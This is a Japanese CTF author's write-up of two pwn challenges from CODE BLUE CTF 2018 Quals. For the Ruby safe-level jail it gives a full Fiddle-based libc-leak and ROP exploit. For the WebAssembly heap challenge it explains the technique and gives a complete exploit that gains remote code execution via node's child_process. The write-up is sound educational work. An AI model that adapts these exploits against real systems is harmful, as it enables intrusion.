しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

CODE BLUE CTF 2018 Qualsで出した問題の話

7/28-7/29に開かれたCODE BLUE CTF 2018 Qualsで私が出した問題のざっくりした解説です。

English version: https://github.com/Charo-IT/CTF/blob/master/2018/codeblue_quals/writeup.md



Little Riddle (pwn)

Ruby 2.2まで存在していたsafe level 3を使ったRuby jail問です。

safe levelにより一部のメソッドの使用に制限がかかっていますが、Fiddle::Pointerでメモリを自由に読み書きできることに気付けばどうにでもなる問題になっています。

私が書いたexploitはこんな感じです。
Fiddle::Pointer.mallocの第2引数を使ってRIPを奪い、ROPに持ち込みました。

libc_offset = {
  "read" => 0xf7250,
  "open" => 0xf7030,
  "write" => 0xf72b0,
  "exit" => 0x3a030,
  "setcontext" => 0x47b75,
  "pop_rdi_ret" => 0x21102,
  "pop_rsi_ret" => 0x202e8,
  "pop_rdx_ret" => 0x1150a6,
  "ret" => 0x21103,
  "main_arena" => 0x3c4b20
}

# allocate a chunk
a = Fiddle::Pointer.malloc(1)
puts "a = 0x%x" % a.to_i

# get its arena
arena = Fiddle::Pointer.new(a.to_i & 0xfffffffffc000000)[0, 8].unpack("Q")[0]
puts "arena = 0x%x" % arena

# get address of main_arena
main_arena = Fiddle::Pointer.new(arena + 0x868)[0, 8].unpack("Q")[0]
puts "main_arena = 0x%x" % main_arena.to_i

# get libc base
libc_base = main_arena - libc_offset["main_arena"]
puts "libc base = 0x%x" % libc_base

# read flag
[1].each{
  ptr = Fiddle::Pointer.malloc(0x200, libc_base + libc_offset["setcontext"])

  payload = ""
  payload << "/home/p31338/flag".ljust(0xa0, "\0")
  payload << [ptr.to_i + 0xb0].pack("Q*")  # rsp
  payload << [libc_base + libc_offset["ret"]].pack("Q") * 10
  payload << [libc_base + libc_offset["pop_rdi_ret"], ptr.to_i].pack("Q*")
  payload << [libc_base + libc_offset["pop_rsi_ret"], 0].pack("Q*")
  payload << [libc_base + libc_offset["open"]].pack("Q")
  payload << [libc_base + libc_offset["pop_rdi_ret"], 7].pack("Q*")
  payload << [libc_base + libc_offset["pop_rsi_ret"], ptr.to_i].pack("Q*")
  payload << [libc_base + libc_offset["pop_rdx_ret"], 0x40].pack("Q*")
  payload << [libc_base + libc_offset["read"]].pack("Q*")
  payload << [libc_base + libc_offset["pop_rdi_ret"], 1].pack("Q*")
  payload << [libc_base + libc_offset["pop_rsi_ret"], ptr.to_i].pack("Q*")
  payload << [libc_base + libc_offset["pop_rdx_ret"], 0x40].pack("Q*")
  payload << [libc_base + libc_offset["write"]].pack("Q*")
  payload << [libc_base + libc_offset["exit"]].pack("Q")
  ptr[0, payload.length] = payload
}
GC.start
__END__

オブジェクトの汚染フラグをFiddle::Pointerで消す、という方法をとったチームもありました。

想定解はタイトルで暗示されているようにFiddleを使うことなのですが、 safe levelをバイパスする方法にも興味があったため、非想定解に繋がりそうなものを徹底的に潰すようなことはしませんでした。(レビューの時間がなかったとも言う)

ということで、Fiddleを使わない解法も含めてwriteupをばんばん公開していただけると嬉しいです。

Secret Mailer Service 2.0 (pwn)

「CBCTF用に作ったはずのrswcをWCTFに吸われたやべえ」って言いながらWebAssembly Studioでいろいろ遊んでいたら、WebAssemblyに意外な仕様が幾つかあって面白かったのでpwnの問題にしてみました。

ソースコードこちらから(wasmを読ませるのは流石につらすぎる気がしたので、出題時はCのソースも配布しました。優しい)

この問題を解くには、以下の3つのポイントに気付く必要があります。

  1. Emscriptenはdlmallocを使っている
  2. WebAssemblyのメモリにはreadonlyな領域がない
  3. WebAssemblyの関数ポインタは「メモリ上のアドレス」を表すものではない

一つずつ見ていきましょう。

1. Emscriptenはdlmallocを使っている

これはEmscriptenのソースコードを読んだり、実際にmalloc/freeするコードを書いて確かめたりするとわかります。

なので、最近のCTFでよく出るようなヒープ問と同じ要領でchunk overlappingを発生させることで、既存のLetter構造体の中身を自由にコントロールできます。

なお、glibcと違ってfastbinsがなかったりglibcになかったチェックが入っていたりしますが、ソースコードを読んで対応しましょう。

2. WebAssemblyのメモリにはreadonlyな領域がない

これは、このように文字列定数を書き換えられるという意味でもあります。

puts("hello world");  // => hello world
"hello world"[0] = 'H';
puts("hello world");  // => Hello world

つまり、

if(post){
    // emscripten_run_scriptはCの世界からJavascriptのコードを実行するための関数
    emscripten_run_script("_do_post_letters()");
}

seal_letters中の文字列定数"_do_post_letters()"は実は書き換え可能であり、さらにSMS2はnode上で動いていることから、ここを書き換えることでRCEできます。

なので、何らかの方法でここを書き換えることが最終目標となります。

3. WebAssemblyの関数ポインタは「メモリ上のアドレス」を表すものではない

これは実際にコードを書いて確認してみましょう。

#include <stdio.h>

void foo(){
    puts("foo");
}

int main(){
    void (*func)() = foo;

    printf("func = %p\n", func);
    printf("*func = 0x%08x 0x%08x 0x%08x 0x%08x\n", *(unsigned int *)func, *((unsigned int *)func + 1), *((unsigned int *)func + 2), *((unsigned int *)func + 3));

    printf("\ncall func\n");
    func();

    return 0;
}
$ emcc -s WASM=1 -o test.js test.c -O0 -g
$ node test.js
func = 0x4
*func = 0x00000000 0x00000000 0x00000000 0x00000000

call func
foo

func = 0x4と出力されていますが、メモリ上の0x4付近を見ても特に何もありません。

となると、0x4はどこから出てきた数字でしょうか?
その答えはwastファイルの中にあります。

関数ポインタ経由での関数呼び出しを行っている部分に該当するwastを見てみると……

  ;;@ test.c:14:0
  (set_local $$14  ;; $$14 = func = 4
   (get_local $$1)
  )
  (call_indirect (type $FUNCSIG$v)
   (i32.add
    (i32.and
     (get_local $$14)
     (i32.const 7)
    )
    (i32.const 10)
   )
  )
  (set_global $STACKTOP
   (get_local $sp)
  )

call_indirectという命令に(4 & 7) + 10(=14)という引数を渡しています。

WebAssemblyのドキュメントにあるcall_indirectの説明を見てみると

Indirect calls to a function indicate the callee with an i32 index into a table.

とあるので、何らかのテーブルが存在し、その14番目にfooがいるらしいということになります。

改めてwastファイルの中を探してみると、それらしいテーブルの14番目(0-originなことに注意)にfooがいることが確認できます。

 (elem (get_global $tableBase) $b0 $___stdio_close $b1 $b1 $___stdout_write $___stdio_seek $b1
 $___stdio_write $b1 $b1 $b2 $b2 $b2 $b2 $_foo $b2 $b2 $b2)

ここまでの話をまとめると、WebAssemblyでの関数ポインタはメモリ上のアドレスを示すものではなく、関数テーブル内のインデックスを基に算出される値ということです。

長くなりましたが、SMS2に話を戻しましょう。

Letter構造体内の関数ポインタはseal_letters関数で使われています。

void seal_letters(State *state, int post){
    size_t i;
    char *outbuf;

    for(i = 0; i < state->count; i++){
        if(state->letters[i] != NULL && state->letters[i]->filter != NULL){
            outbuf = malloc(state->letters[i]->length);
            if(outbuf == NULL){
                abort();
            }
            state->letters[i]->filter(outbuf, state->letters[i]->buf, state->letters[i]->length);
            state->letters[i]->buf = outbuf;
        }
    }

    if(post){
        emscripten_run_script("_do_post_letters()");
    }
}

state->letters[i]->filter(...)部分のwastと関数テーブルを見てみます。

(drop
 (call_indirect (type $FUNCSIG$iiii)
  (get_local $$44)  ;; arg1: outbuf
  (get_local $$52)  ;; arg2: letter->buf  <- controllable
  (get_local $$59)  ;; arg3: letter->length  <- controllable
  (i32.add
   (i32.and
    (get_local $$43)  ;; letter->filter
    (i32.const 15)
   )
   (i32.const 8)
  )
 )
)
 (elem (get_global $tableBase) $b0 $b0 $b0 $b0 $___stdio_close $b0 $b0 $b0 $b1 $_filter_lower
 $_filter_upper $_filter_swapcase $b1 $___stdio_read $___stdio_seek $___stdout_write $___stdio_write $b1
 $b1 $b1 $b1 $b1 $b1 $b1)

call_indirectに渡される関数テーブルのインデックスは(letter->filter & 15) + 8で算出されているため、Letterの関数ポインタを書き換えた場合に呼べる関数は以下の7つになります。

  • 1: filter_lower
  • 2: filter_upper
  • 3: filter_swapcase
  • 5: __stdio_read
  • 6: __stdio_seek
  • 7: __stdout_write
  • 8: __stdio_write

この中だと__stdio_readが気になります。実装を確認してみましょう。

#include "stdio_impl.h"
#include <sys/uio.h>

size_t __stdio_read(FILE *f, unsigned char *buf, size_t len)
{
    struct iovec iov[2] = {
        { .iov_base = buf, .iov_len = len - !!f->buf_size },
        { .iov_base = f->buf, .iov_len = f->buf_size }
    };
    ssize_t cnt;

    cnt = syscall(SYS_readv, f->fd, iov, 2);
    if (cnt <= 0) {
        f->flags |= F_EOF ^ ((F_ERR^F_EOF) & cnt);
        return cnt;
    }
    if (cnt <= iov[0].iov_len) return cnt;
    cnt -= iov[0].iov_len;
    f->rpos = f->buf;
    f->rend = f->buf + cnt;
    if (f->buf_size) buf[len-1] = *f->rpos++;
    return len;
}

FILE *fは直前のmallocで確保される領域なので内容をある程度コントロールできますし、unsigned char *bufsize_t lenLetterが書き換え可能なので任意の値を指定できます。
これを使えば好きなアドレスに好きなデータを読み込めそうです。

まとめ

これらをまとめると、この問題は以下の手順で攻略できることがわかります。

  1. heap bofで後続チャンクのサイズを書き換え、chunk overlappingを発生させる
  2. 既存のLetter構造体を以下のように書き換える
    • length: 実行したいJavascriptコードの長さ+1 (null byte用)
    • filter: 5 (__stdio_read)
    • buf: 0xff8 ("_do_post_letters()"のアドレス)
  3. メニューから5. Seal and post all lettersを選ぶと__stdio_read(outbuf, 0xff8, length)が呼ばれるので、実行したいJavascriptコード + null byteを入力
  4. 3.で入力したコードがemscripten_run_scriptに渡され、実行される

exploitはこんな感じです。

#coding:ascii-8bit
require "pwnlib"

remote = ARGV[0] == "r"
if remote
  host = "pwn1.task.ctf.codeblue.jp"
  port = 31337
else
  host = "localhost"
  port = 54321
end

class PwnTube
  def recv_until_prompt
    recv_until("Select:\n")
  end
end

def tube
  @tube
end

def add_letter(size, content, to, filter)
  tube.recv_until_prompt
  tube.sendline("1")
  tube.recv_until("Size:\n")
  tube.sendline("#{size}")
  tube.recv_until("Content:\n")
  tube.send(content)
  tube.recv_until("To:\n")
  tube.send(to)
  tube.recv_until_prompt
  tube.sendline("#{filter}")
end

def delete_letter(index)
  tube.recv_until_prompt
  tube.sendline("3")
  tube.recv_until("Index:\n")
  tube.sendline("#{index}")
end

def seal_letter
  tube.recv_until_prompt
  tube.sendline("5")
end

PwnTube.open(host, port){|t|
  @tube = t

  cmd = "require('child_process').exec('cat flag',(a,b,c)=>console.log(b+c))\0"

  puts "[*] prepare"
  add_letter(0xc, "A" * 0xb, "1" * 0x1f + "\n", 1)
  add_letter(0xc, "B" * 0xb, "2" * 0x1f + "\n", 1)
  delete_letter(0);

  puts "[*] overwrite chunksize"
  add_letter(0xc, "C" * 0xb, "3" * 0x20 + "\x53", 1)

  puts "[*] overwrite existing letter"
  payload = ""
  payload << "A" * 0x10
  payload << [cmd.length].pack("L")  # length
  payload << [0xff8].pack("L")  # buf (address of "_do_post_letters()"")
  payload << [5].pack("L")  # func (__stdio_read)
  payload << "A" * 0x1f
  add_letter(payload.length + 1, payload, "AAAA\n", 1)

  puts "[*] call __stdio_read"
  tube.recv_until_prompt
  tube.sendline("5")

  puts "[*] send command to execute"
  tube.send(cmd)

  tube.interactive
}